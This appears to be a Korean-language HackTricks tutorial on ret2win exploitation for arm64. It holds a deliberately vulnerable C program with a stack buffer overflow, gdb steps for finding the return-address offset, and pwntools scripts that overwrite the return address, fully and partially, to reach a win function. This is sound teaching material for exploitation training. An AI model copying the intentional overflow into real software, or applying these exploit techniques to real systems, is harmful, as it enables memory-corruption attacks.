Ret2win - arm64

Ret2win - arm64

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team 전문가)!

HackTricks를 지원하는 다른 방법:

arm64 기본 어셈블리에서 arm64에 대한 소개를 찾을 수 있습니다.

코드

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

파이(Pie)와 캐너리(Canary) 없이 컴파일하기:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

오프셋 찾기

패턴 옵션

이 예제는 GEF를 사용하여 생성되었습니다:

GEF로 gdb를 시작하고 패턴을 생성한 다음 사용하세요:

gdb -q ./ret2win
pattern create 200
run

arm64는 레지스터 x30에 있는 주소로 반환하려고 시도할 것이며(이는 손상됨), 이를 사용하여 패턴 오프셋을 찾을 수 있습니다:

pattern search $x30

오프셋은 72 (9x48)입니다.

스택 오프셋 옵션

먼저 pc 레지스터가 저장된 스택 주소를 얻는 것으로 시작합니다:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

이제 read() 이후에 중단점을 설정하고 read()가 실행될 때까지 계속 진행하고 13371337과 같은 패턴을 설정하십시오:

b *vulnerable_function+28
c

이 패턴이 메모리에 저장된 위치를 찾으세요:

그런 다음: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

win 함수의 주소를 얻으세요:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

악용:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

사실 이것은 스택에 저장된 PC에서 오프바이-2와 더 가까울 것입니다. 우리는 반환 주소 전체를 덮어쓰는 대신 마지막 2바이트만 0x06c4로 덮어씁니다.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

ARM64에서 또 다른 off-by-one 예제를 찾을 수 있습니다. https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ 이곳에서 실제 off-by-one 취약점을 찾을 수 있습니다.

PIE와 함께

-no-pie 인자 없이 이진 파일을 컴파일합니다.

Off-by-2

우리는 winning function의 정확한 주소를 알지 못하지만 함수의 오프셋을 알 수 있고, 덮어쓰는 반환 주소가 이미 가까운 주소를 가리키고 있음을 알 수 있기 때문에, 이 경우 win 함수의 오프셋(0x7d4)을 노출시키고 그 오프셋을 사용할 수 있습니다:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<details>

<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>

HackTricks를 지원하는 다른 방법:

* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**

</details>

Last updated